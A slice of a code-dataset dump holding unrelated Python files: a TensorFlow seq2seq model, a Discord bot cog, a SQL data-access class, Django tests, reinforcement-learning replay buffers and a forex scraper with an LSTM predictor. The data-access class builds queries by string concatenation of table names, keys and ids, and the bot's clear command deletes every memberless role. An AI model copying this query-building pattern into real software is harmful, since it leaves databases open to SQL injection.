_model(self):\n self.embedding = tf.get_variable(\"embedding\", [self.vocab_size, hp.rnn_size])\n encoder_outputs, encoder_state= self._build_encoder()\n self.outputs, final_state= self._build_decoder(encoder_state)\n if self.mode == 'train':\n self._compute_loss()\n \n def _build_encoder(self):\n with tf.variable_scope(\"encoder\") as encoder_scope:\n enc_emb_inp = tf.nn.embedding_lookup(self.embedding, self.input_seq)\n \n enc_cell = tf.contrib.rnn.LSTMCell(hp.rnn_size)\n enc_cell = tf.contrib.rnn.DropoutWrapper(enc_cell, output_keep_prob=self.keep_prob)\n enc_cell = tf.contrib.rnn.MultiRNNCell([enc_cell] * 2)\n\n encoder_outputs, encoder_state = tf.nn.dynamic_rnn(enc_cell, enc_emb_inp, dtype=tf.float32, sequence_length=self.input_len)\n return encoder_outputs, encoder_state\n \n def _build_decoder(self, encoder_state):\n with tf.variable_scope(\"decoder\") as decoder_scope:\n dec_cell = tf.contrib.rnn.LSTMCell(hp.rnn_size)\n dec_cell = tf.contrib.rnn.DropoutWrapper(dec_cell, output_keep_prob=self.keep_prob)\n dec_cell = tf.contrib.rnn.MultiRNNCell([dec_cell] * 2)\n\n if self.mode == 'train':\n dec_emb_inp = tf.nn.embedding_lookup(self.embedding, self.target_seq)\n decoder_helper = tf.contrib.seq2seq.TrainingHelper(dec_emb_inp, self.target_len)\n max_iter = None\n elif self.mode == 'generate':\n start_tokens = tf.fill([tf.shape(self.input_seq)[0]], self.helper.sos_id)\n end_token = self.helper.eos_id\n decoder_helper = tf.contrib.seq2seq.SampleEmbeddingHelper(self.embedding, start_tokens, end_token)\n max_iter = 10 * tf.shape(self.input_seq)[1]\n\n decoder = tf.contrib.seq2seq.BasicDecoder(dec_cell, decoder_helper, encoder_state, output_layer=tf.layers.Dense(self.vocab_size))\n outputs, final_state, _ = tf.contrib.seq2seq.dynamic_decode(decoder, maximum_iterations=max_iter, scope=decoder_scope)\n return outputs, final_state\n\n def _compute_loss(self):\n self.logits = self.outputs.rnn_output\n target_weights = tf.sequence_mask(self.target_len, dtype=self.logits.dtype)\n self.loss = tf.contrib.seq2seq.sequence_loss(logits=self.logits, targets=self.target_seq[:, 1:], weights=target_weights)\n \n params = tf.trainable_variables()\n gradients = tf.gradients(self.loss, params)\n clipped_gradients, _ = tf.clip_by_global_norm(gradients, hp.max_grad_clip)\n optimizer = tf.train.AdamOptimizer(hp.lr)\n self.train_op = optimizer.apply_gradients(zip(clipped_gradients, params), global_step=self.global_step)\n\n def _init_session(self):\n self.sess = tf.Session()\n self.sess.run(self.init)\n \n def save_model(self, directory=None):\n save_path = self.saver.save(self.sess, os.path.join('models','model.ckpt'), global_step=self.global_step)\n return save_path\n\n def load_model(self, model_path):\n print('Loading model from %s' % model_path)\n self.saver.restore(self.sess, model_path)\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"352121089","text":"import discord\nimport random\nimport DiscordUtils as dutils\nfrom discord.ext import commands\nimport datetime\nimport typing\nimport json\nimport time_zone\n\n\ndef east_color(role):\n return role.name.startswith(\"\")\n\n\ndef unused_role(ctx, role):\n return (not len(role.members) or (len(role.members) and ctx.author == role.members[0]))\n\n\ndef floating_role(role):\n return not len(role.members)\n\n\ndef command_null_check(self, ctx, command, embed, help=False):\n if command.description != None and command.help != None and help:\n embed.description = (command.description).replace(\"&\", ctx.prefix)\n embed.add_field(name=command, value=(command.help).replace(\"&\", ctx.prefix), inline=False)\n elif command.description != None and not help:\n embed.add_field(name=command, value=(command.description).replace(\"&\", ctx.prefix), inline=False)\n else:\n embed.add_field(name=command, value=\"\", inline=False)\n\n\n# TODO: Replace extraneous portions with command_null_check\n\nclass Commands(commands.Cog):\n \"\"\"These commands are for general use and can be used by anyone.\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(description=\"Adds numbers together.\")\n async def add(self, ctx, *args):\n \"\"\"Pass in a variable amount of numbers to add, using ``&add 1, 2, 3...``\"\"\"\n result = 0.0\n for item in args:\n result += float(item)\n await ctx.send(result)\n\n @commands.command(description=\"Choose between different options.\")\n async def choose(self, ctx, *, arg):\n \"\"\"Choose between any arguments, using ``&choose a, b, c...``. Separate choices with a comma.\"\"\"\n res_array = arg.split(ctx.bot.SPLIT_CHAR)\n await ctx.send(random.choice(res_array))\n\n @commands.group(alias=[\"colour\"], description=\"Adds a color role to the user.\", invoke_without_command=True)\n @commands.guild_only()\n @commands.bot_has_permissions(manage_roles=True)\n async def color(self, ctx, *, color: typing.Union[commands.ColourConverter, None]):\n \"\"\"Add a color role to yourself using rgb or hex values. Format: ``&color [hex code]``\"\"\"\n while (True):\n if color is None:\n await ctx.send(\"Sorry, that's not a valid color role.\")\n break\n\n # removes prior color roles that have been assigned\n for role in ctx.author.roles:\n if talos_color(role) or east_color(role):\n await ctx.author.remove_roles(role)\n if unused_role(ctx, role):\n await role.delete()\n\n break\n\n color_role = await ctx.guild.create_role(name=f\"\", colour=color)\n await ctx.author.add_roles(color_role)\n await ctx.send(\"Color added!\")\n\n @color.command(name=\"remove\", description=\"Remove your color roles.\")\n async def _remove(self, ctx):\n \"\"\"Removes all of the color roles you may have that are from either East or Talos.\"\"\"\n for role in ctx.author.roles:\n if east_color(role) or talos_color(role):\n await ctx.author.remove_roles(role)\n if unused_role(ctx, role):\n await role.delete()\n\n await ctx.send(\"Color roles removed.\")\n\n @color.command(name=\"clear\", description=\"Removes all unused color roles from the server.\")\n async def _clear(self, ctx):\n \"\"\"Clears all roles from the server. A backup command in case East fails to clear the role correctly upon removal.\"\"\"\n for role in ctx.guild.roles:\n if floating_role(role):\n await role.delete()\n\n await ctx.send(\"All unused color roles cleared.\")\n\n @commands.command(description=\"Returns the time for the set timezone.\")\n async def time(self, ctx, selected_zone=None):\n \"\"\"Returns the time for the current timezone, which can be set in timezones. Used with ``&time``\"\"\"\n if selected_zone is None or not isinstance(dutils.to_time_zone(selected_zone.upper()), time_zone.TimeZone):\n if selected_zone is not None: \n await ctx.send(\"Sorry, that time zone could not be found, so I'll be proceeding with the default for your server!\")\n self.bot.db.execute(\"\"\"\n SELECT time_zone FROM options\n WHERE guild_id = %s\"\"\",\n (str(ctx.guild.id),))\n selected_zone = self.bot.db.fetchone()[0]\n\n self.bot.db.execute(\"\"\"\n SELECT military_time FROM options\n WHERE guild_id = %s\"\"\",\n (str(ctx.guild.id),))\n military_time = self.bot.db.fetchone()[0]\n\n time_list = dutils.get_time(selected_zone, military_time, True)\n\n if time_list[2] < 10:\n time_list[2] = \"0\" + str(time_list[2])\n\n await ctx.send(f\"The time is {time_list[0]}:{time_list[1]}:{time_list[2]}!\")\n\n @commands.command(description=\"Gives the time to a certain date.\")\n async def timeUntil(self, ctx, unit=\"days\", month=0, day=0, year=0):\n \"\"\"Returns the time until a specific date. Format to trigger is ``&unit month day year``. Unit may be represented as days, or weeks. Months and years are not currently supported.\"\"\"\n current_date = datetime.datetime.now()\n to_date = datetime.datetime(year=year, month=month, day=(day + 1))\n time_delta = to_date - current_date\n\n day_string = \"days\"\n week_string = \"weeks\"\n weeks = int(time_delta.days / 7)\n days = time_delta.days % 7\n\n if not month or not day or not year:\n await ctx.send(\"Please enter a valid date format: ``dd mm yyyy``.\")\n elif time_delta.days == 0:\n await ctx.send(\"That's today!\")\n elif unit == \"days\":\n if abs(time_delta.days) == 1:\n day_string = \"day\"\n\n if time_delta.days < 0:\n await ctx.send(f\"{abs(time_delta.days)} {day_string} since {month}-{day}-{year}.\")\n else:\n await ctx.send(f\"{time_delta.days} {day_string} until {month}-{day}-{year}.\")\n\n elif unit == \"weeks\":\n\n if abs(days) == 1:\n day_string = \"day\"\n\n if abs(weeks) == 1:\n week_string = \"week\"\n\n if time_delta.days < 0:\n await ctx.send(\n f\"It has been {weeks} {week_string} and {days} {day_string} since {month}-{day}-{year}. \")\n else:\n await ctx.send(f\"You have {weeks} {week_string} and {days} {day_string} until {month}-{day}-{year}.\")\n\n @commands.command(description=\"how fucked you are!\", hidden=True)\n async def howFucked(self, ctx, wage=0, hours_working=0, days_to_earn=0, amount_wanted=0):\n \"\"\"Returns how fucked you are.\"\"\"\n weekly_wage = wage * hours_working\n weeks_to_earn = days_to_earn / 7\n amount_earned = weekly_wage * weeks_to_earn\n if (amount_earned < amount_wanted):\n await ctx.send(f\"You're fucked! \\nWW: {weekly_wage}\\nWTE: {weeks_to_earn}\\nAE: {amount_earned}\")\n else:\n await ctx.send(\n f\"Surprisingly, you might be okay? \\nWW: {weekly_wage}\\nWTE: {weeks_to_earn}\\nAE: {amount_earned}\")\n\n\ndef setup(bot):\n # bot.remove_command(\"help\")\n bot.add_cog(Commands(bot)) ","sub_path":"cogs/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":7367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"516449298","text":"#!/usr/bin/env python3\n#----------------------------------------------------------------------------\n# Author : Carter Bourette\n# Description : ..\n# ...\n#----------------------------------------------------------------------------\n#\n# Use explicit package path so that modules may be imported from parent.\n# As per: https://docs.python.org/3/tutorial/modules.html#packages\n#\nfrom api.core.database import *\n\n#\n# TODO: Relations\n# one to one.. self and other table f-key\n# one to many.. use document table as f-key in model resource table\n# many to one.. use resource table as f-key to document table\n# many to many.. give n..m table name\n\nclass DAO:\n\n def __init__(self, relation=None, bulk=False):\n self._relation = relation\n self._db = DBWrapper( DBExplodeOnError() )\n self._is_bulk = bulk\n self.result_buffer = []\n\n def fetch_buffer(self):\n return self.result_buffer\n\n def create(self, relation, payload):\n def format_insert(relation, keys, values):\n query_string = 'insert into ' + relation + ' ('\n\n cnt = 0\n for key in keys:\n if cnt == len(keys) - 1:\n query_string = query_string + key +') values ('\n else: query_string = query_string + key + ','\n cnt = cnt + 1\n\n cnt = 0\n for value in values:\n if cnt == len(keys) - 1:\n query_string = query_string + '%s)'\n else: query_string = query_string + '%s,'\n cnt = cnt + 1\n\n return query_string\n\n if relation is None:\n relation = self._relation\n\n # Start a transaction\n self._db.begin_transaction()\n\n q = format_insert(relation, payload.keys(), payload.values())\n self._db.query(q, (*payload.values(),))\n self._db.commit()\n\n # Lookup the record to obtain the id\n self._db.query('select * from ' + relation +' order by ' + relation + '_id desc limit 1')\n\n record = self._db.fetch_one()\n self._db.end_transaction()\n\n return record\n\n def read(self, relation, id=None):\n if relation is None:\n relation = self._relation\n\n self._db.query('select * from ' + relation + ' where ' + relation + '_id = %s limit 1', (id))\n return self._db.fetch_one()\n\n def update(self, relation, id, payload):\n def format_update(relation, keys, id):\n query_string = 'update ' + relation + ' set '\n\n cnt = 0\n for key in keys:\n if cnt == len(keys) - 1:\n query_string = query_string + key + ' = %s where ' + relation + '_id = ' + id\n else: query_string = query_string + key + ' = %s,'\n cnt = cnt + 1\n\n return query_string\n if relation is None:\n relation = self._relation\n\n query = format_update(relation, payload.keys(), id)\n\n self._db.query(query, (*payload.values(),))\n\n def delete(self, relation, id):\n self._db.query('delete from ' + relation + ' where ' + relation + '_id = %s', (id,))\n return self._db.cursor.rowcount > 0 and not self._db.error()\n\n def bulk_create(self): pass\n\n def bulk_read(self, relation, page_size=30, current_page=1, parser=None):\n if relation is None:\n relation = self._relation\n\n where_condition = ''\n if parser:\n page_size = parser.page_size\n current_page = parser.page\n\n # print(parser.url_query)\n\n all_values = []\n # create the lookup filter query string\n for key,value in parser.filters.items():\n # HACK: just a hack implementation\n key_split = key.split(':')\n if len(key_split) > 1:\n operator = {\n 'like':' like ',\n 'gt':' > ',\n 'gte':' >= ',\n 'lt': ' < ',\n 'lte':' <= ',\n 'ne': ' <> '\n }\n if isinstance(value, str):\n operation = operator[key_split[1].lower()]\n if operation == ' like ':\n all_values.append('%' + value + '%')\n else:\n all_values.append(value)\n\n if len(all_values) > 1:\n where_condition = where_condition + ' or ' + key_split[0] + operation + '%s'\n else:\n where_condition = where_condition + ' where ' +key_split[0] + operation + '%s'\n else:\n for v in value:\n operation = operator[key_split[1].lower()]\n if operation == ' like ':\n all_values.append('%' + v + '%')\n else:\n all_values.append(v)\n\n if len(all_values) > 1:\n where_condition = where_condition + ' or ' + key_split[0] + operation + '%s'\n else:\n where_condition = where_condition + ' where ' +key_split[0] + operation + '%s'\n continue\n\n # Single\n if isinstance(value, str):\n all_values.append(value)\n if len(all_values) > 1:\n where_condition = where_condition + ' or ' + key + ' = %s'\n else:\n where_condition = where_condition + ' where ' + key + ' = %s'\n # or separated\n else:\n for v in value:\n all_values.append(v)\n if len(all_values) > 1:\n where_condition = where_condition + ' or ' + key + ' = %s'\n else:\n where_condition = where_condition + ' where ' + key + ' = %s'\n\n offset = (current_page - 1) * page_size\n\n try:\n self._db.query('select * from ' + relation + ' ' + where_condition + ' limit ' + str(offset) + ', ' + str(page_size), (*all_values,))\n self.result_buffer = self._db.fetch_all()\n except Exception as err:\n self.result_buffer = []\n print(err)\n\n def bulk_update(self): pass\n\n def bulk_delete(self): pass\n","sub_path":"api/core/dao.py","file_name":"dao.py","file_ext":"py","file_size_in_byte":6565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"597354373","text":"from gladminds.sqs_tasks import expire_service_coupon\nfrom datetime import datetime, timedelta\nfrom unit.base_unit import GladmindsUnitTestCase\nfrom gladminds.core.constants import COUPON_STATUS, FeedStatus\nfrom gladminds.core.cron_jobs.taskmanager import get_data_feed_log_detail\n\n\nclass TestCronjobs(GladmindsUnitTestCase):\n \n def setUp(self):\n product_type_obj = self.get_product_type_obj(product_type='BIKE')\n dealer_obj = self.get_delear_obj(name='DEALER001')\n product_obj = self.get_product_obj(product_id=\"VINXXX001\", product_type=product_type_obj,\n dealer_id=dealer_obj, customer_phone_number='+911111111111', \n customer_name='test_user1', customer_id='SAP001')\n service_advisor = self.get_service_advisor_obj(\n service_advisor_id='SA001Test', name='UMOTO', phone_number='+914444861111')\n self.get_dealer_service_advisor_obj(\n dealer_id=dealer_obj, service_advisor_id=service_advisor, status='Y')\n service_advisor1 = self.get_service_advisor_obj(\n service_advisor_id='SA002Test', name='UMOTOR', phone_number='+919999999999')\n self.get_dealer_service_advisor_obj(\n dealer_id=dealer_obj, service_advisor_id=service_advisor1, status='Y')\n self.get_coupon_obj(unique_service_coupon='COUPON005', product=product_obj, valid_days=30, valid_kms=500,\n service_type=1, mark_expired_on=datetime.now() + timedelta(days=1), status=COUPON_STATUS['Unused'])\n product_obj1 = self.get_product_obj(product_id=\"VINXXX002\", product_type=product_type_obj,\n dealer_id=dealer_obj, customer_phone_number='8888888',\n customer_name='test_user2', customer_id='SAP002')\n self.get_coupon_obj(unique_service_coupon='COUPON004', actual_service_date=datetime.now() - timedelta(days=10), product=product_obj1,\n valid_days=30, valid_kms=500, service_type=1, mark_expired_on=datetime.now() - timedelta(days=1), status=COUPON_STATUS['In Progress']\\\n ,extended_date=datetime.now()+timedelta(days=2))\n self.get_coupon_obj(unique_service_coupon='COUPON006', actual_service_date=datetime.now() - timedelta(days=40), product=product_obj,\n valid_days=30, valid_kms=3000, service_type=2, mark_expired_on=datetime.now() - timedelta(days=1), status=COUPON_STATUS['In Progress']\\\n , extended_date=datetime.now()+timedelta(days=20))\n self.get_coupon_obj(unique_service_coupon='COUPON007', product=product_obj, valid_days=30, valid_kms=6000,\n service_type=3, mark_expired_on=datetime.now() - timedelta(days=1), status=COUPON_STATUS['Unused'])\n self.get_coupon_obj(unique_service_coupon='COUPON008', product=product_obj, valid_days=30, valid_kms=6000,\n service_type=3, mark_expired_on=datetime.now() - timedelta(days=10), status=COUPON_STATUS['In Progress']\\\n ,extended_date=datetime.now()-timedelta(days=2))\n \n def test_expire_service_coupon(self):\n expire_service_coupon()\n self.assertEqual(\n self.filter_coupon_obj('COUPON004').status, COUPON_STATUS['In Progress'])\n self.assertEqual(\n self.filter_coupon_obj('COUPON005').status, COUPON_STATUS['Unused'])\n self.assertEqual(\n self.filter_coupon_obj('COUPON006').status, COUPON_STATUS['In Progress'])\n self.assertEqual(\n self.filter_coupon_obj('COUPON007').status, COUPON_STATUS['Expired'])\n self.assertEqual(\n self.filter_coupon_obj('COUPON008').status, COUPON_STATUS['Expired'])\n\n\n def test_get_data_feed_log_detail(self):\n obj = self.get_datafeed_log(feed_type=\"Dispatch Feed\",total_data_count=4,failed_data_count=0\\\n ,success_data_count=4,timestamp=datetime.now(),action=FeedStatus.RECEIVED, status='success')\n feeds = get_data_feed_log_detail(start_date=datetime.now()-timedelta(days=1), end_date=datetime.now()+timedelta(days=1))\n self.assertEqual(len(feeds), 1)\n\n def test_reminder_for_servicedesk_ticket(self):\n pass","sub_path":"tests/unit/test_cron_jobs.py","file_name":"test_cron_jobs.py","file_ext":"py","file_size_in_byte":4335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"302781046","text":"import sublime\r\nimport sublime_plugin\r\n\r\nSETTINGS_PATH = \"Preferences.sublime-settings\"\r\n\r\nclass ChangeTheme(sublime_plugin.WindowCommand):\r\n def run(self, theme = 'dark'):\r\n settings = sublime.load_settings(SETTINGS_PATH)\r\n\r\n if theme == 'dark':\r\n settings.set(\"theme\", \"Cyanide - Wood.sublime-theme\")\r\n settings.set(\"color_scheme\", \"Packages/gp_st_colorschemes/Dark/nimbostratus_night.tmTheme\")\r\n else:\r\n settings.set(\"theme\", \"Boxy Yesterday.sublime-theme\")\r\n settings.set(\"color_scheme\", \"Packages/gp_st_colorschemes/Light/NoNameYet.tmTheme\")\r\n \r\n sublime.save_settings(SETTINGS_PATH)\r\n","sub_path":"change_theme.py","file_name":"change_theme.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"421380419","text":"def evaluator(students=None, grades=None):\n if(grades is None or students is None or len(students)>30 or len(students)==0 or len(grades)==0 or len(students)!=len(grades)):\n return\n tupl=()\n dicti={}\n all=0\n index = 0\n\n for s in students:\n counter = 0\n if(type(s) is not str):\n return\n sum=0\n if(type(grades[index]) is not list):\n return\n for i in grades[index]:\n\n if(type(i) is not int or i<0 or i>20):\n return\n sum+=i\n counter+=1\n if(counter<4 or counter>50):\n return\n all+=sum/len(grades[index])\n dicti[s]=round((sum/len(grades[index])),2)\n index += 1\n tupl=(round(all/len(students),2),dicti)\n return tupl\n","sub_path":"S17week3/automaticGrader.py","file_name":"automaticGrader.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"510371933","text":"A,B = map(int,input().split())\n\n#a,bの最大公約数\ndef gcd(a,b):\n if b == 0:\n return a\n else:\n return gcd(b,a%b)\n\n#[[素因数,数]]を出力\ndef fctr1(n): \n f=[]\n c=0\n r=int(n**0.5)\n for i in range(2,r+2):\n while n%i==0:\n c+=1\n n=n//i\n if c!=0:\n f.append([i,c])\n c=0\n if n!=1:\n f.append([n,1])\n return f\n\ng = gcd(A,B)\n\nprint(len(fctr1(g))+1)\n","sub_path":"ABC/ABC_142/abc142d.py","file_name":"abc142d.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"74213564","text":"import numpy as np\nimport random\nimport math\nfrom sum_tree import SumTree\n\nclass ExperienceReplayBuffer():\n def __init__(self,buffer_size= 50000):\n self.buffer=[]\n self.buffer_size = buffer_size\n\n def add(self,experience):\n if len(self.buffer) + len(experience) >= self.buffer_size:\n self.buffer[0:(len(experience)+len(self.buffer))-self.buffer_size] = []\n self.buffer.extend(experience)\n\n def sample(self,batch_size,state_dimensions):\n return np.reshape(np.array(random.sample(self.buffer,batch_size)),[batch_size,state_dimensions])\n\n\nclass PrioritizedExperienceReplayBuffer(ExperienceReplayBuffer):\n def __init__(self, buffer_size, alpha=0.5, epsilon=0.01):\n \"\"\"\n :param buffer_size: size of buffer (int)\n :param alpha: strength of prioritization (0 no, 1 full)\n \"\"\"\n\n assert alpha > 0 and epsilon > 0\n\n super(PrioritizedExperienceReplayBuffer, self).__init__((int(2 ** int(math.log(buffer_size, 2)))))\n self.alpha = alpha\n self.epsilon = epsilon\n self.sum_tree = SumTree(capacity=self.buffer_size)\n\n self.priority_add_mean = 0\n self.priority_sample_mean = 0\n self.priority_add_step = 0\n self.priority_sample_step = 0\n self.chosen_samples = list()\n\n def add(self, td_error, experience):\n priority = self._calculate_priority(td_error)\n\n self.priority_add_mean += priority\n self.priority_add_step += 1\n\n self.sum_tree.add(experience=experience, new_priority_value=priority)\n\n def update(self, idx, td_error):\n priority = self._calculate_priority(np.abs(td_error))\n self.sum_tree.update(tree_idx=idx, new_priority_value=priority)\n\n def _calculate_priority(self, td_error):\n return (td_error + self.epsilon) ** self.alpha\n\n def sample(self, batch_size, state_dimensions):\n batch = []\n segment = self.sum_tree.get_root_value() // batch_size\n\n for i in range(batch_size):\n low = segment * i\n high = segment * (i + 1)\n if high > self.sum_tree.get_root_value():\n high = self.sum_tree.get_root_value()\n\n seed = random.uniform(low, high)\n\n idx, priority, experience = self.sum_tree.get(seed=seed)\n\n batch.append((idx, priority, experience))\n\n self.priority_sample_mean += priority\n self.priority_sample_step += 1\n self.chosen_samples.append(idx)\n\n return np.array(batch)\n\n def get_node_priority(self, idx):\n return self.sum_tree.node_data[idx]\n","sub_path":"abb_rl_algorithms/DDDQN_PER/experience_replay_buffer.py","file_name":"experience_replay_buffer.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"384076255","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport csv\r\nimport os\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, LSTM\r\nimport tensorflow as tf\r\nfrom pyecharts.charts import Line\r\nfrom pyecharts.charts import Grid\r\nimport pyecharts.options as opts\r\nimport time\r\n\r\nheader = ['日期','中行汇买价','中行钞买价','中行钞卖价', '央行中间价']\r\npage_count = 57\r\n\r\ndef get_page_resp(page_number=1, startdate=\"2010-09-15\", enddate=\"2020-12-01\", money_code=\"USD\"):\r\n params = {\r\n \"startdate\": startdate,\r\n \"enddate\": enddate,\r\n \"money_code\": money_code,\r\n \"page\": page_number\r\n }\r\n base_url = \"http://biz.finance.sina.com.cn/forex/forex.php\"\r\n r = requests.get(base_url, params=params)\r\n r.encoding = \"GB2312\"\r\n return r\r\n\r\ndef get_bs4_table_elem(response):\r\n soup = BeautifulSoup(response.text,'html.parser')\r\n return soup.find(id=\"data_table\").table\r\n\r\ndef parse():\r\n with open(\"data.csv\", \"w\", encoding=\"utf-8\", newline='') as f:\r\n csv_writer = csv.writer(f)\r\n csv_writer.writerow(header)\r\n for page_number in range(1, page_count + 1):\r\n table = get_bs4_table_elem(get_page_resp(page_number))\r\n for idx, tr in enumerate(table.find_all(\"tr\")):\r\n if idx == 0:\r\n continue\r\n csv_writer.writerow([td.text.strip() for td in tr.find_all(\"td\")])\r\n\r\ndef draw(datelist, pricelist1, pricelist2, title):\r\n min_value = min(pricelist1, pricelist2)\r\n max_value = max(pricelist1, pricelist2)\r\n\r\n line = (\r\n Line(init_opts=opts.InitOpts(\r\n width='1800px',\r\n height='800px',\r\n js_host=\"./\",\r\n ))\r\n .set_global_opts(\r\n title_opts=opts.TitleOpts(\r\n title=title,\r\n ),\r\n legend_opts=opts.LegendOpts(\r\n is_show=True,\r\n pos_top=10,\r\n pos_left=\"center\",\r\n item_width=30,\r\n item_height=15,\r\n textstyle_opts=opts.TextStyleOpts(\r\n font_family='Microsoft Yahei',\r\n font_size=14,\r\n font_style='oblique'\r\n )\r\n ),\r\n tooltip_opts=opts.TooltipOpts(\r\n trigger=\"axis\",\r\n axis_pointer_type=\"cross\",\r\n background_color=\"rgba(245, 245, 245, 0.8)\",\r\n border_width=1,\r\n border_color=\"#ccc\",\r\n textstyle_opts=opts.TextStyleOpts(color=\"#000\"),\r\n ),\r\n xaxis_opts=opts.AxisOpts(\r\n # type_=\"time\",\r\n name='日期',\r\n split_number=10,\r\n name_gap=35,\r\n axispointer_opts=opts.AxisPointerOpts(is_show=True),\r\n name_textstyle_opts=opts.TextStyleOpts(\r\n font_size=16,\r\n font_family='Microsoft Yahei'\r\n )\r\n ),\r\n yaxis_opts=opts.AxisOpts(\r\n type_=\"value\",\r\n min_=min_value,\r\n max_=max_value,\r\n split_number=4,\r\n axispointer_opts=opts.AxisPointerOpts(is_show=True),\r\n name_textstyle_opts=opts.TextStyleOpts(\r\n font_size=16,\r\n font_family='Microsoft Yahei'\r\n ),\r\n axistick_opts=opts.AxisTickOpts(is_show=True),\r\n splitline_opts=opts.SplitLineOpts(is_show=True),\r\n splitarea_opts=opts.SplitAreaOpts(is_show=True, areastyle_opts=opts.AreaStyleOpts(opacity=1))\r\n ),\r\n axispointer_opts=opts.AxisPointerOpts(\r\n is_show=True,\r\n link=[{\"xAxisIndex\": \"all\"}],\r\n label=opts.LabelOpts(background_color=\"#777\"),\r\n ),\r\n datazoom_opts=[\r\n opts.DataZoomOpts(\r\n is_show=False,\r\n type_=\"inside\",\r\n # xaxis_index=[0, 1],\r\n range_start=30,\r\n range_end=70,\r\n ),\r\n opts.DataZoomOpts(\r\n is_show=True,\r\n # xaxis_index=[0, 1],\r\n type_=\"slider\",\r\n pos_top=\"96%\",\r\n range_start=38,\r\n range_end=70,\r\n ),\r\n ],\r\n )\r\n .add_xaxis(xaxis_data=datelist)\r\n .add_yaxis(series_name=\"实际值\",\r\n is_selected=True,\r\n y_axis=pricelist1,\r\n label_opts=opts.LabelOpts(is_show=False)\r\n )\r\n .add_yaxis(series_name=\"预测值\",\r\n is_selected=True,\r\n y_axis=pricelist2,\r\n label_opts=opts.LabelOpts(is_show=False)\r\n )\r\n .render(title + '.html')\r\n )\r\n\r\ndef process(filename, columnname, timsteps=60, node=0.2, precision = 2, savename = 'test'):\r\n # 获取数据\r\n path = os.path.abspath(\"./\")\r\n path = path + '/' + filename\r\n df = pd.read_csv(path)\r\n df.index = df['日期']\r\n df = df.sort_index(ascending=True, axis=0)\r\n # 创建数据框\r\n new_data = pd.DataFrame(index=range(0,len(df)),columns=['Date', 'Close'])\r\n for i in range(0,len(df)):\r\n new_data['Date'][i] = df.index[i]\r\n new_data['Close'][i] = df[columnname][i]\r\n\r\n # 设置索引\r\n new_data.index = new_data.Date\r\n new_data.drop('Date', axis=1, inplace=True)\r\n node = int (node * len(new_data))\r\n\r\n # 创建训练集和验证集\r\n dataset = new_data.values\r\n\r\n # 设定训练集和测试集的分隔\r\n train = dataset[0:node,:]\r\n valid = dataset[node:,:]\r\n\r\n # 数据归一化处理\r\n # 将数据集转换为x_train和y_train\r\n scaler = MinMaxScaler(feature_range=(0, 1))\r\n scaled_data = scaler.fit_transform(dataset)\r\n\r\n # 划定预测情况,用前n天的数据预测第n+1天的数据\r\n x_train, y_train = [], []\r\n for i in range(timsteps,len(train)):\r\n x_train.append(scaled_data[i-timsteps:i,0])\r\n y_train.append(scaled_data[i,0])\r\n\r\n # 三维数组化\r\n x_train, y_train = np.array(x_train), np.array(y_train)\r\n x_train = np.reshape(x_train, (x_train.shape[0],x_train.shape[1],1))\r\n\r\n # 创建和拟合LSTM网络\r\n model = Sequential()\r\n\r\n # LSTM层\r\n model.add(LSTM(units=50, return_sequences=True, input_shape=(x_train.shape[1],1)))\r\n # Dropout层,随机删除20%的数据\r\n model.add(Dropout(.2))\r\n # LSTM层\r\n model.add(LSTM(units=50, return_sequences=False))\r\n # Dropout层\r\n model.add(Dropout(.2))\r\n # 全连接层\r\n model.add(Dense(1))\r\n\r\n # 模型编译\r\n model.compile(loss='mean_squared_error', optimizer='adam')\r\n # 模型拟合\r\n model.fit(x_train, y_train, epochs=1, batch_size=1, verbose=2)\r\n\r\n # 使用过去值来预测\r\n # 测试集\r\n inputs = new_data[len(new_data) - len(valid) - timsteps:].values\r\n inputs = inputs.reshape(-1,1)\r\n inputs = scaler.transform(inputs)\r\n\r\n # 测试集,同样的道理\r\n X_test = []\r\n for i in range(60,inputs.shape[0]):\r\n X_test.append(inputs[i-timsteps:i,0])\r\n X_test = np.array(X_test)\r\n\r\n X_test = np.reshape(X_test, (X_test.shape[0],X_test.shape[1],1))\r\n # 模型预测\r\n closing_price = model.predict(X_test)\r\n closing_price = scaler.inverse_transform(closing_price)\r\n\r\n # 模型均方根值\r\n rms = np.sqrt(np.mean(np.power((valid-closing_price),2)))\r\n print(rms)\r\n\r\n valid = new_data[node:]\r\n valid['Predictions'] = closing_price\r\n\r\n # 图表\r\n train = new_data[:node]\r\n valid = new_data[node:]\r\n train.to_csv(savename + 'train.csv')\r\n valid['Predictions'] = closing_price\r\n valid.to_csv(savename + 'valid.csv')\r\n\r\n datelist = []\r\n pricelist1 = []\r\n pricelist2 = []\r\n for i in range(0, len(train)):\r\n datelist.append(train.index.tolist()[i])\r\n pricelist1.append(train['Close'].iloc[i])\r\n pricelist2.append(train['Close'].iloc[i])\r\n for i in range(0, len(valid)):\r\n datelist.append(valid.index.tolist()[i])\r\n pricelist1.append(float(valid['Close'].iloc[i]))\r\n pricelist2.append(round(float(valid['Predictions'].iloc[i]), precision))\r\n draw(datelist, pricelist1, pricelist2, savename)\r\n\r\ndef process2(filename, columnname, timsteps=60, node=0.2, precision = 2, savename = 'test'):\r\n # 获取数据\r\n path = os.path.abspath(\"./\")\r\n path = path + '/' + filename\r\n data = pd.read_csv(path)\r\n data = data.sort_index(ascending=False, axis=0)\r\n print(data.head())\r\n node = int(node * 